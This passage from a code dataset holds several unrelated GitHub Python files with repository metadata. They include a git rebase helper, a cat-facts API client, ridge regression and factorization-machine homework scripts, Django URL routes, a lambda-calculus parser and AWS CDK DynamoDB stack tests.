while True:\n j += 1\n count = 0\n for x in bin(i ^ j)[2:]:\n if x == '1':\n count += 1\n if count < 3:\n break\n answer.append(j)\n return answer\n\n\nif __name__ == '__main__':\n print(solution([2, 7]))\n print(bin(7), bin(11))\n print(bin(7^11))\n\n","repo_name":"hodoodang/legendary-guacamole","sub_path":"Programmers/challenges02.py","file_name":"challenges02.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1321756598","text":"#!/usr/bin/env python3\n\nimport argparse\nimport sys\n\nfrom jnscommons import jnsgit\n\n\n_PROTECTED_BRANCHES = ['master', 'main', 'dev', 'develop', 'development']\n\n\ndef main():\n exit_code = 0\n\n try:\n opts = _parse_args()\n _validate(opts)\n _rebase(opts)\n except ExitCodeError as e:\n exit_code = e.exit_code\n print(str(e), file=sys.stderr, flush=True)\n\n sys.exit(exit_code)\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser(description='Rebase on master.')\n\n parser.add_argument('--dry-run', action='store_true', default=False, dest='dry_run',\n help='Output what actions will be performed without taking them (default: %(default)s)')\n\n parser.add_argument('branch', nargs='?', metavar='branchname', default='master',\n help='The branch to rebase on (default: %(default)s)')\n\n opts = parser.parse_args()\n opts.branch = opts.branch.strip()\n\n return opts\n\n\ndef _validate(opts):\n current_branch = jnsgit.branch_name()\n\n if current_branch in _PROTECTED_BRANCHES:\n raise ExitCodeError(f'Do not rebase {current_branch}!')\n\n if current_branch == opts.branch:\n raise ExitCodeError('Cannot rebase {} onto itself'.format(current_branch))\n\n\ndef _rebase(opts):\n current_branch = jnsgit.branch_name()\n\n jnsgit.checkout(opts.branch, dry_run=opts.dry_run, print_cmd=True)\n print()\n\n jnsgit.pull(dry_run=opts.dry_run, print_cmd=True)\n print()\n\n jnsgit.checkout(current_branch, dry_run=opts.dry_run, print_cmd=True)\n print()\n\n jnsgit.rebase(opts.branch, interactive=True, dry_run=opts.dry_run, print_cmd=True)\n\n\nclass ExitCodeError(Exception):\n def __init__(self, message, exit_code=1):\n super().__init__(message)\n self.exit_code = exit_code\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"eviljoe/junk-n-stuff","sub_path":"src/gitrom.py","file_name":"gitrom.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73043598187","text":"# Mailani Gelles / Emily Kuo \nimport requests\nimport socket\nimport json\nimport random\n\n# Reddit API: https://github.com/reddit-archive/reddit/wiki/API\n\ndef cat_init():\n headers = {\n # Reddit's API rules require a unique User-Agent. For this lab, please leave this as is\n 'User-Agent': 'usc.ee250.lab8.' + socket.gethostname()\n }\n\n params = {\n }\n\n response = requests.get('http://cat-fact.herokuapp.com/facts' ,params=params, headers=headers)\n\n if response.status_code == 200: # Status: OK\n data = response.json()\n # temp = json.dumps(data, sort_keys=False, indent=4)\n # print(temp)\n x = random.randint(1,101)\n fact = data['all'][x]['text']\n print(fact)\n return fact\n\n else:\n print('error: got response code %d' % response.status_code)\n print(response.text)\n return None\n\n\nCAT_APP = {\n 'name': 'Random Cat Facts',\n 'init': cat_init\n}\n\n\nif __name__ == '__main__':\n cat_init()\n","repo_name":"ItsMai/IoT_Projects","sub_path":"RESTful APIs/my_facts.py","file_name":"my_facts.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35203231893","text":"import pandas\nimport numpy \nimport random\n\n#Creating the 3 additional files\ntrain1000_100=pandas.read_csv(\"train-1000-100.csv\")\ntrain1000_100.head(50).to_csv('train-50(1000)-100',index = False)\ntrain1000_100.head(100).to_csv('train-100(1000)-100',index = False)\ntrain1000_100.head(150).to_csv('train-150(1000)-100',index = False)\n\nclass LR:\n def __init__(self,filename):\n self.data = pandas.read_csv(filename)\n self.data.insert(loc=0,column='x0',value=[1]*len(self.data))\n self.X = numpy.matrix(self.data.drop('y',axis = 1))\n self.Y = numpy.matrix(self.data['y']).transpose()\n self.N = len(self.X)\n self.lambdas=numpy.linspace(0,150,151,dtype = int)\n self.XT = self.X.transpose()\n self.XTX = self.XT*self.X\n self.MSEarray = [0]*len(self.lambdas)\n \n def trainsetfunction(self):\n self.Warray = [0]*len(self.lambdas)\n for i in range(len(self.lambdas)):\n self.M = self.XTX + self.lambdas[i]*numpy.identity(len(self.XT))\n self.MI = numpy.linalg.inv(self.M)\n self.W = self.MI*self.XT*self.Y\n self.Warray[i] = self.W\n self.predictions = self.X*self.W\n self.MSEarray[i] = (numpy.linalg.norm(self.predictions-self.Y)**2)/self.N\n self.resultdf = pandas.DataFrame(self.lambdas)\n self.resultdf.columns = ['lambda']\n self.resultdf['MSE'] = self.MSEarray\n \n def testsetfunction(self,traindataset):\n for i in range(len(self.lambdas)):\n self.predictions = self.X*traindataset.Warray[i]\n self.MSEarray[i] = (numpy.linalg.norm(self.predictions-self.Y)**2)/self.N\n self.resultdf = pandas.DataFrame(self.lambdas)\n self.resultdf.columns = ['lambda']\n self.resultdf['MSE'] = self.MSEarray\n \n def CVfunction(self,k):\n self.foldlist = [0]*k\n for i in range(k):\n self.foldlist[i] = (self.data[i*int(self.N/k):(i+1)*int(self.N/k)])\n self.lambdaMSE = [0]*len(self.lambdas)\n self.foldsMSE = [0]*len(self.foldlist)\n for i in range(len(self.lambdas)):\n for j in range(len(self.foldlist)):\n indexes = list(range(len(self.foldlist)))\n testfoldX = numpy.matrix(self.foldlist[j].drop('y',axis=1))\n testfoldY = numpy.matrix(self.foldlist[j]['y']).transpose()\n testfoldN = len(testfoldX)\n trainindexes = indexes[0:j]+indexes[j+1:len(indexes)]\n trainfolds = [0]*len(trainindexes)\n for k in range(len(trainfolds)):\n trainfolds[k] = self.foldlist[trainindexes[k]] \n trainfoldX = numpy.matrix(pandas.concat(trainfolds).drop('y',axis=1))\n trainfoldY = numpy.matrix(pandas.concat(trainfolds)['y']).transpose()\n trainfoldXT = trainfoldX.transpose()\n trainfoldXTX = trainfoldXT*trainfoldX\n trainfoldM = trainfoldXTX + self.lambdas[i]*numpy.identity(len(trainfoldXT))\n trainfoldMI = numpy.linalg.inv(trainfoldM)\n trainfoldW = trainfoldMI*trainfoldXT*trainfoldY\n testfoldpredictions = testfoldX*trainfoldW\n testfoldMSE = (numpy.linalg.norm(testfoldpredictions-testfoldY)**2)/testfoldN\n self.foldsMSE[j] = testfoldMSE\n self.lambdaMSE[i] = sum(self.foldsMSE)/len(self.foldsMSE)\n self.lambdaMSEdf = pandas.DataFrame(self.lambdaMSE)\n \n def LCfunction(self,trainingset,iterations):\n self.lambdas2=[1,25,150]\n self.trainsetsizes=numpy.linspace(10,int(len(self.data)/2),int((len(self.data)/2)/10),dtype=int)\n self.trainseterror = [0]*len(self.trainsetsizes)\n self.lcerrorlist = [[[0]*len(self.trainsetsizes) for count in range(2)] for count in range(3)]\n lcresultlist = [0]*iterations\n \n for j in range(len(lcresultlist)):\n for x in range(len(self.trainsetsizes)):\n lctrainset = trainingset.data.iloc[random.sample(list(trainingset.data.index), self.trainsetsizes[x])]\n lcX = numpy.matrix(lctrainset.drop('y',axis=1))\n lcN = len(lcX)\n lcY = numpy.matrix(lctrainset['y']).transpose()\n lcXT = lcX.transpose()\n lcXTX = lcXT*lcX\n for y in range(len(self.lambdas2)):\n lcM = lcXTX + self.lambdas2[y]*numpy.identity(len(lcXT))\n lcMI = numpy.linalg.inv(lcM)\n lcW = lcMI*lcXT*lcY\n lctrainpredictions = lcX*lcW\n lctestpredictions = self.X*lcW\n lctrainerror = (numpy.linalg.norm(lctrainpredictions-lcY)**2)/lcN\n lctesterror = (numpy.linalg.norm(lctestpredictions-self.Y)**2)/self.N\n self.lcerrorlist[y][0][x] = lctrainerror\n self.lcerrorlist[y][1][x] = lctesterror\n lcresults = pandas.DataFrame(self.lcerrorlist[0][0])\n lcresults.columns = ['lambda = 1 train error']\n lcresults['lambda = 1 test error'] = self.lcerrorlist[0][1]\n lcresults['lambda = 25 train error'] = self.lcerrorlist[1][0] \n lcresults['lambda = 25 test error'] = self.lcerrorlist[1][1]\n lcresults['lambda = 150 train error'] = self.lcerrorlist[2][0] \n lcresults['lambda = 150 test error'] = self.lcerrorlist[2][1]\n lcresultlist[j] = lcresults\n \n lambda1trainerrs = [0]*len(lcresultlist)\n lambda1testerrs = [0]*len(lcresultlist)\n lambda25trainerrs = [0]*len(lcresultlist)\n lambda25testerrs = [0]*len(lcresultlist)\n lambda150trainerrs = [0]*len(lcresultlist)\n lambda150testerrs = [0]*len(lcresultlist)\n self.finalLCdf = lcresults.copy(deep=True)\n \n for x in range(len(self.trainsetsizes)):\n for y in range(len(lcresultlist)):\n lambda1trainerrs[y] = lcresultlist[y]['lambda = 1 train error'][x]\n lambda1testerrs[y] = lcresultlist[y]['lambda = 1 test error'][x]\n lambda25trainerrs[y] = lcresultlist[y]['lambda = 25 train error'][x]\n lambda25testerrs[y] = lcresultlist[y]['lambda = 25 test error'][x]\n lambda150trainerrs[y] = lcresultlist[y]['lambda = 150 train error'][x]\n lambda150testerrs[y] = lcresultlist[y]['lambda = 150 test error'][x]\n self.finalLCdf['lambda = 1 train error'][x] = sum(lambda1trainerrs)/len(lambda1trainerrs)\n self.finalLCdf['lambda = 1 test error'][x] = sum(lambda1testerrs)/len(lambda1testerrs)\n self.finalLCdf['lambda = 25 train error'][x] = sum(lambda25trainerrs)/len(lambda25trainerrs)\n self.finalLCdf['lambda = 25 test error'][x] = sum(lambda25testerrs)/len(lambda25testerrs)\n self.finalLCdf['lambda = 150 train error'][x] = sum(lambda150trainerrs)/len(lambda150trainerrs)\n self.finalLCdf['lambda = 150 test error'][x] = sum(lambda150testerrs)/len(lambda150testerrs)\n \n \n \n#Test datasets\ntest10010=\"test-100-10.csv\"\ntest100100=\"test-100-100.csv\"\ntest1000100=\"test-1000-100.csv\"\n\n#Train datasets\ntrain10010=\"train-100-10.csv\"\ntrain100100=\"train-100-100.csv\"\ntrain1000100=\"train-1000-100.csv\"\n\ntrain501000100=\"train-50(1000)-100\"\ntrain1001000100=\"train-100(1000)-100\"\ntrain1501000100=\"train-150(1000)-100\"\n\n## Calling class methods\n\n#Train/Test 100-10:\ntrain_100_10=LR(train10010)\ntrain_100_10.trainsetfunction()\ntest_100_10=LR(test10010)\ntest_100_10.testsetfunction(train_100_10)\ntrain_100_10.CVfunction(10)\n \n#Train/Test 100-100:\ntrain_100_100=LR(train100100)\ntrain_100_100.trainsetfunction()\ntest_100_100=LR(test100100)\ntest_100_100.testsetfunction(train_100_100)\ntrain_100_100.CVfunction(10)\n\n#Train/Test 1000-100:\ntrain_1000_100=LR(train1000100)\ntrain_1000_100.trainsetfunction()\ntest_1000_100=LR(test1000100)\ntest_1000_100.testsetfunction(train_1000_100)\ntrain_1000_100.CVfunction(10)\ntrain_1000_100.LCfunction(train_1000_100,1000)\n\n#Train/Test 50(1000)-100:\ntrain_50_1000_100=LR(train501000100)\ntrain_50_1000_100.trainsetfunction()\ntest_50_1000_100=LR(test1000100)\ntest_50_1000_100.testsetfunction(train_50_1000_100)\ntrain_50_1000_100.CVfunction(10)\n\n#Train/Test 100(1000)-100:\ntrain_100_1000_100=LR(train1001000100)\ntrain_100_1000_100.trainsetfunction()\ntest_100_1000_100=LR(test1000100)\ntest_100_1000_100.testsetfunction(train_100_1000_100)\ntrain_100_1000_100.CVfunction(10)\n\n#Train/Test 50(1000)-100:\ntrain_150_1000_100=LR(train1501000100)\ntrain_150_1000_100.trainsetfunction()\ntest_150_1000_100=LR(test1000100)\ntest_150_1000_100.testsetfunction(train_150_1000_100)\ntrain_150_1000_100.CVfunction(10)\n\njointMSEdf=pandas.DataFrame(train_100_10.resultdf['MSE'])\njointMSEdf.columns=['Train 100-10 MSE']\njointMSEdf['Train 100-100 MSE']=train_100_100.resultdf['MSE']\njointMSEdf['Train 1000-100 MSE']=train_1000_100.resultdf['MSE']\njointMSEdf['Train 50(1000)-100 MSE']=train_50_1000_100.resultdf['MSE']\njointMSEdf['Train 100(1000)-100 MSE']=train_100_1000_100.resultdf['MSE']\njointMSEdf['Train 150(1000)-100 MSE']=train_150_1000_100.resultdf['MSE']\njointMSEdf['Test 100-10 MSE']=test_100_10.resultdf['MSE']\njointMSEdf['Test 100-100 MSE']=test_100_100.resultdf['MSE']\njointMSEdf['Test 1000-100 MSE']=test_1000_100.resultdf['MSE']\njointMSEdf['Test 50(1000)-100 MSE']=test_50_1000_100.resultdf['MSE']\njointMSEdf['Test 100(1000)-100 MSE']=test_100_1000_100.resultdf['MSE']\njointMSEdf['Test 150(1000)-100 MSE']=test_150_1000_100.resultdf['MSE']\n#jointMSEdf.plot()\n\n############################ - Question 2 - ############################\n\njointMSEdf[['Train 100-10 MSE','Test 100-10 MSE']].plot()\njointMSEdf[['Train 100-100 MSE','Test 100-100 MSE']].plot()\njointMSEdf[['Train 1000-100 MSE','Test 1000-100 MSE']].plot()\njointMSEdf[['Train 50(1000)-100 MSE','Test 50(1000)-100 MSE']].plot()\njointMSEdf[['Train 100(1000)-100 MSE','Test 100(1000)-100 MSE']].plot()\njointMSEdf[['Train 150(1000)-100 MSE','Test 150(1000)-100 MSE']].plot()\n\n#a)\na=jointMSEdf[['Test 100-10 MSE']].sort_values(by='Test 100-10 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 100-10 MSE']].sort_values(by='Test 100-10 MSE').iloc[0,0]\nprint('For Test 100-10 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\na=jointMSEdf[['Test 100-100 MSE']].sort_values(by='Test 100-100 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 100-100 MSE']].sort_values(by='Test 100-100 MSE').iloc[0,0]\nprint('For Test 100-100 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\na=jointMSEdf[['Test 1000-100 MSE']].sort_values(by='Test 1000-100 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 1000-100 MSE']].sort_values(by='Test 1000-100 MSE').iloc[0,0]\nprint('For Test 1000-100 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\na=jointMSEdf[['Test 50(1000)-100 MSE']].sort_values(by='Test 50(1000)-100 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 50(1000)-100 MSE']].sort_values(by='Test 50(1000)-100 MSE').iloc[0,0]\nprint('For Test 50(1000)-100 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\na=jointMSEdf[['Test 100(1000)-100 MSE']].sort_values(by='Test 100(1000)-100 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 100(1000)-100 MSE']].sort_values(by='Test 100(1000)-100 MSE').iloc[0,0]\nprint('For Test 100(1000)-100 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\na=jointMSEdf[['Test 150(1000)-100 MSE']].sort_values(by='Test 150(1000)-100 MSE').index.tolist()[0]\nb=jointMSEdf[['Test 150(1000)-100 MSE']].sort_values(by='Test 150(1000)-100 MSE').iloc[0,0]\nprint('For Test 150(1000)-100 the best lambda value is %d ' %a + 'and MSE is %f\\n' %b)\n\n#b)\njointMSEdf[['Train 100-100 MSE','Test 100-100 MSE']].iloc[1:].plot()\njointMSEdf[['Train 50(1000)-100 MSE','Test 50(1000)-100 MSE']].iloc[1:].plot()\njointMSEdf[['Train 100(1000)-100 MSE','Test 100(1000)-100 MSE']].iloc[1:].plot()\n\n#c)\nprint('MSE is abnormally large for these three datasets because of Overfitting.')\n\n############################ - Question 3 - ############################\n\n#a)\n#train_100_10.lambdaMSEdf.plot()\na=train_100_10.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_100_10.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 100-10 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\na=train_100_100.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_100_100.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 100-100 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\na=train_1000_100.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_1000_100.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 1000-100 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\na=train_50_1000_100.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_50_1000_100.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 50(1000)-100 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\na=train_100_1000_100.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_100_1000_100.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 100(1000)-100 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\na=train_150_1000_100.lambdaMSEdf.sort_values(by=0).index.tolist()[0]\nb=train_150_1000_100.lambdaMSEdf.sort_values(by=0).iloc[0,0]\nprint('For Train 150(1000)-100 the best lambda value according to CV is %d ' %a + 'and MSE is %f\\n' %b)\n\n#b)\nprint('Compared to the results of question 2a), the suggested values for lambda are reasonably close\\n')\n\n#c)\nprint('Cross Validation is quite expensive in terms of computing power and running time\\n')\n\n#d)\nprint('Factors affecting performance of CV are the size of the dataset itself, \\nthe range of lambdas and the amount of folds chosen.\\n')\n \n############################ - Question 4 - ############################\n\ntrain_1000_100.finalLCdf[['lambda = 1 test error','lambda = 1 train error']].plot()\ntrain_1000_100.finalLCdf[['lambda = 25 test error','lambda = 25 train error']].plot()\ntrain_1000_100.finalLCdf[['lambda = 150 test error','lambda = 150 train error']].plot()\n","repo_name":"aterrero/LinearRegressionExample","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":14116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7889795091","text":"from django.urls import path\nfrom . import views\n\napp_name = 'core'\n\nurlpatterns = [\n # path('home/', views.home, name='home_fbv'),\n path('', views.HomeView.as_view(), name='home_cbv'),\n path('about/', views.AboutView.as_view(), name='about'),\n path('contact/', views.ContactView.as_view(), name='contact'),\n]\n","repo_name":"anykate/veryacademy-demo","sub_path":"allapps/core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20612822525","text":"# coding=utf-8\n__author__ = 'Wanghailong'\n\nimport numpy as np\nnp.random.seed(0)\nimport random\n\ndef sigmoid(z):\n return 1.0 / (1.0 + np.exp(-z))\n\ndef sigmoid_prime(z):\n \"\"\"\n sigmoid函数对z求一阶偏导\n :param z:\n :return:\n \"\"\"\n return sigmoid(z) * (1 - sigmoid(z))\n\n\nclass QuadraticCost(object):\n @staticmethod\n def fn(a, y):\n \"\"\"\n 平方误差损失函数\n :param a: 预测值\n :param y: 真实值\n :return:\n \"\"\"\n return 0.5 * np.linalg.norm(a - y) ** 2\n\n @staticmethod\n def delta(z, a, y):\n \"\"\"\n 损失函数对z求偏导\n :param z: x的线性函数\n :param a:\n :param y:\n :return:\n \"\"\"\n return (a - y) * sigmoid_prime(z)\n\n\nclass FM(object):\n def __init__(self, train, valid, k, eta, maxecho, r2, cost=QuadraticCost):\n \"\"\"\n 构造函数\n :param train: 训练数据\n :param valid: 验证数据\n :param k: 矩阵V的第2维\n :param eta: 固定学习率\n :param maxecho: 最多迭代次数\n :param r2: R2小于该值后可停止迭代\n :param cost: 损失函数\n \"\"\"\n self.train_x = train[:, :-1]\n self.train_y = train[:, -1:]\n self.valid_x = valid[:, :-1]\n self.valid_y = valid[:, -1:]\n self.var_y = np.var(self.valid_y) # y的方差,在每轮迭代后计算R2时要用到\n self.k = k\n self.eta = float(eta)\n self.maxecho = maxecho\n self.r2 = r2\n self.cost = cost\n # 用正态分布随机初始化参数W和V\n self.w0 = np.random.randn()\n self.w = np.random.randn(1, self.train_x.shape[1])\n self.v = np.random.randn(self.train_x.shape[1], self.k)\n\n def shuffle_data(self):\n \"\"\"\n 每轮训练之前都随机打乱样本顺序\n :return:\n \"\"\"\n ids = range(len(self.train_x))\n random.shuffle(ids)\n self.train_x = self.train_x[ids]\n self.train_y = self.train_y[ids]\n\n def predict(self, x):\n \"\"\"\n 根据x求y\n :param x:\n :return:\n \"\"\"\n z = self.w0 + np.dot(self.w, x.T).T + np.longlong(\n np.sum((np.dot(x, self.v) ** 2 - np.dot(x ** 2, self.v ** 2)),\n axis=1).reshape(len(x), 1)) / 2.0\n\n return z, sigmoid(z)\n\n def evaluate(self):\n \"\"\"\n 在验证集上计算R2\n :return:\n \"\"\"\n _, y_hat = self.predict(self.valid_x)\n mse = np.sum((y_hat - self.valid_y) ** 2) / len(self.valid_y)\n r2 = 1.0 - mse / self.var_y\n print(\"r2={}\".format(r2))\n return r2\n\n def update_mini_batch(self, x, y, eta):\n \"\"\"\n 平方误差作为损失函数,梯度下降法更新参数\n :param x:\n :param y:\n :param eta: 学习率\n :return:\n \"\"\"\n batch = len(x)\n step = eta / batch\n z, y_hat = self.predict(x)\n y_diff = self.cost.delta(z, y_hat, y)\n self.w0 -= step * np.sum(y_diff)\n self.w -= step * np.dot(y_diff.T, x)\n delta_v = np.zeros(self.v.shape)\n for i in range(batch):\n xi = x[i:i + 1, :] # mini_batch中的第i个样本。为保持shape不变,注意这里不能用x[i]\n delta_v += (np.outer(xi, np.dot(xi, self.v)) - xi.T ** 2 * self.v) * (y_diff[i])\n self.v -= step * delta_v\n\n def train(self, mini_batch=100):\n \"\"\"\n 采用批量梯度下降法训练模型\n :param mini_batch:\n :return:\n \"\"\"\n for itr in range(self.maxecho):\n print(\"iteration={}\".format(itr))\n self.shuffle_data()\n n = len(self.train_x)\n for b in range(0, n, mini_batch):\n x = self.train_x[b:b + mini_batch]\n y = self.train_y[b:b + mini_batch]\n learn_rate = np.exp(-itr) * self.eta # 学习率指数递减\n self.update_mini_batch(x, y, learn_rate)\n\n if self.evaluate() > self.r2:\n break\n\n\ndef fake_data(sample, dim, k):\n \"\"\"\n 构造假数据\n :param sample:\n :param dim:\n :param k:\n :return:\n \"\"\"\n w0 = np.random.randn()\n w = np.random.randn(1, dim)\n v = np.random.randn(dim, k)\n x = np.random.randn(sample, dim)\n z = w0 + np.dot(w, x.T).T + np.longlong(\n np.sum((np.dot(x, v) ** 2 - np.dot(x ** 2, v ** 2)),\n axis=1).reshape(len(x), 1)) / 2.0\n y = sigmoid(z)\n data = np.concatenate((x, y), axis=1)\n return z, data\n\n\nif __name__ == \"__main__\":\n dim = 9 # 特征的维度\n k = dim / 3\n sample = 100\n z, data = fake_data(sample, dim, k)\n\n train_size = int(0.7 * sample)\n valid_size = int(0.2 * sample)\n train = data[:train_size] # 训练集\n valid = data[train_size:train_size + valid_size] # 验证集\n test = data[train_size + valid_size:] # 测试集\n test_z = z[train_size + valid_size:]\n\n eta = 0.01 # 初始学习率\n maxecho = 200\n r2 = 0.9 # 拟合系数r2的最小值\n fm = FM(train, valid, k, eta, maxecho, r2)\n fm.train(mini_batch=50)\n\n test_x = test[:, :-1]\n test_y = test[:, -1:]\n print('z=', test_z)\n print(\"y=\", test_y)\n z_hat, y_hat = fm.predict(test_x)\n print(\"z_hat=\", z_hat)\n print(\"y_hat=\", y_hat)","repo_name":"testinWang/FFM","sub_path":"FM.py","file_name":"FM.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"18385352045","text":"# Token types\nVAR = 'VAR'\nLPAREN = 'LPAREN'\nRPAREN = 'RPAREN'\nLAMBDA = 'LAMBDA'\nSEPARATOR = 'SEPARATOR'\n\ndef lexer(input_string):\n tokens = []\n current_token = ''\n\n for char in input_string:\n if char.isalnum():\n current_token += char\n else:\n if current_token:\n tokens.append((VAR, current_token))\n current_token = ''\n\n if char == '(':\n tokens.append((LPAREN, char))\n elif char == ')':\n tokens.append((RPAREN, char))\n elif char == '\\\\':\n tokens.append((LAMBDA, char))\n elif char == ';':\n tokens.append((SEPARATOR, char))\n\n # Check for the last token if any\n if current_token:\n tokens.append((VAR, current_token))\n\n return tokens\n\ndef parser(tokens):\n expr = parse_expr(tokens)\n return expr\n\ndef parse_expr(tokens):\n if len(tokens) == 0:\n raise SyntaxError(\"Unexpected end of input\")\n\n if type(tokens[0][1]) == VAR:\n return tokens.pop(0)\n\n if tokens[0][1] == LPAREN:\n tokens.pop(0)\n expr = parse_expr(tokens)\n if tokens[0][1] == RPAREN:\n tokens.pop(0)\n return expr\n else:\n raise SyntaxError(\"Expected ')'\")\n\n if tokens[0][1] == LAMBDA:\n name = \"lambda\"\n tokens.pop(0)\n var = parse_expr(tokens)\n if tokens[0][1] != LPAREN:\n raise SyntaxError(\"Expected '(' after lambda abstraction\")\n tokens.pop(0)\n expr = parse_expr(tokens)\n if tokens[0][1] != RPAREN:\n raise SyntaxError(\"Expected ')' after lambda expression\")\n tokens.pop(0)\n return lambda var: expr\n\ndef to_standard_format(expr):\n if type(expr[1]) == str:\n return expr[1]\n elif type(expr[1]) == type(lambda x: x):\n var = expr[1].__var__\n expr = expr[1](var)\n return f\"(λ{var}. {expr})\"\n else:\n raise TypeError(f\"Invalid expression type: {type(expr[1])}\")\n\ndef output(expr):\n standard_format_expr = to_standard_format(expr)\n print(standard_format_expr)\n\ndef main():\n input_string = input(\"Enter the lambda calculus expression: \")\n try:\n tokens = lexer(input_string)\n expr = parser(tokens)\n output(expr)\n except Exception as e:\n print(f\"Error: {e}\")\n print(\"Exiting...\")\n return 1\n return 0\n\nif __name__ == '__main__':\n main()","repo_name":"ACHMEDIUS/COPL","sub_path":"assignment 1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"9551437682","text":"import pytest\nimport aws_cdk as cdk\nfrom aws_cdk.assertions import Template, Match\n\nfrom test.boto_mocking_helper import *\nfrom lib.dynamodb_stack import DynamoDbStack\n\nimport lib.configuration as configuration\nfrom lib.configuration import (\n DEV, PROD, TEST, ACCOUNT_ID, REGION, LOGICAL_ID_PREFIX, RESOURCE_NAME_PREFIX, LINEAGE,\n)\n\n\nmock_environment = {\n\tACCOUNT_ID: mock_account_id,\n\tREGION: mock_region,\n\t# Mix Deploy environment variables so we can return one dict for all environments\n\tLOGICAL_ID_PREFIX: 'TestLake',\n\tRESOURCE_NAME_PREFIX: 'testlake',\n}\n\ndef mock_get_local_configuration_with_lineage(environment, local_mapping = None):\n\tlineage_environment = mock_environment.copy()\n\tlineage_environment.update({LINEAGE: True})\n\treturn lineage_environment\n\ndef mock_get_local_configuration_without_lineage(environment, local_mapping = None):\n\tnolineage_environment = mock_environment.copy()\n\tnolineage_environment.update({LINEAGE: False})\n\treturn nolineage_environment\n\n\ndef test_resource_types_and_counts_with_lineage(monkeypatch):\n\tmonkeypatch.setattr(configuration.boto3, 'client', mock_boto3_client)\n\tmonkeypatch.setattr(configuration, 'get_local_configuration', mock_get_local_configuration_with_lineage)\n\n\tapp = cdk.App()\n\tdynamodb_stack = DynamoDbStack(\n\t\tapp,\n\t\t'Dev-DynamoDbStackForTests',\n\t\ttarget_environment=DEV,\n\t)\n\ttemplate = Template.from_stack(dynamodb_stack)\n\n\t# Job audit table, lookup value data, multi lookup value, hash value table, dq results table, lineage table\n\ttemplate.resource_count_is('AWS::DynamoDB::Table', 6)\n\n\ndef test_resource_types_and_counts_without_lineage(monkeypatch):\n\tmonkeypatch.setattr(configuration.boto3, 'client', mock_boto3_client)\n\tmonkeypatch.setattr(configuration, 'get_local_configuration', mock_get_local_configuration_without_lineage)\n\n\tapp = cdk.App()\n\tdynamodb_stack = DynamoDbStack(\n\t\tapp,\n\t\t'Dev-DynamoDbStackForTests',\n\t\ttarget_environment=DEV,\n\t)\n\ttemplate = Template.from_stack(dynamodb_stack)\n\n\t# Job audit table, lookup value data, multi lookup value, hash value table, dq results table\n\ttemplate.resource_count_is('AWS::DynamoDB::Table', 5)\n\n\ndef test_resource_types_and_counts_all_environments(monkeypatch):\n\tmonkeypatch.setattr(configuration.boto3, 'client', mock_boto3_client)\n\n\tapp = cdk.App()\n\tdynamodb_stacks = {}\n\tfor environment in [DEV, TEST, PROD]:\n\t\tdynamodb_stacks[environment] = DynamoDbStack(\n\t\t\tapp,\n\t\t\tf'{environment}-DynamoDbStackForTests',\n\t\t\ttarget_environment=environment,\n\t\t)\n\n\t# All stacks should be generated before calling Template methods\n\tfor environment in dynamodb_stacks.keys():\n\t\ttemplate = Template.from_stack(dynamodb_stacks[environment])\n\n\t\t# Job audit table, lookup value data, hash value table, dq results table regardless of configuration\n\t\ttemplate.has_resource_properties(\n\t\t\t'AWS::DynamoDB::Table',\n\t\t\tMatch.object_like(\n\t\t\t\t{\n\t\t\t\t\t\"TableName\": Match. string_like_regexp('job-audit')\n\t\t\t\t}\n\t\t\t)\n\t\t)\n\t\ttemplate.has_resource_properties(\n\t\t\t'AWS::DynamoDB::Table',\n\t\t\tMatch.object_like(\n\t\t\t\t{\n\t\t\t\t\t\"TableName\": Match. string_like_regexp('value-lookup')\n\t\t\t\t}\n\t\t\t)\n\t\t)\n\t\ttemplate.has_resource_properties(\n\t\t\t'AWS::DynamoDB::Table',\n\t\t\tMatch.object_like(\n\t\t\t\t{\n\t\t\t\t\t\"TableName\": Match. 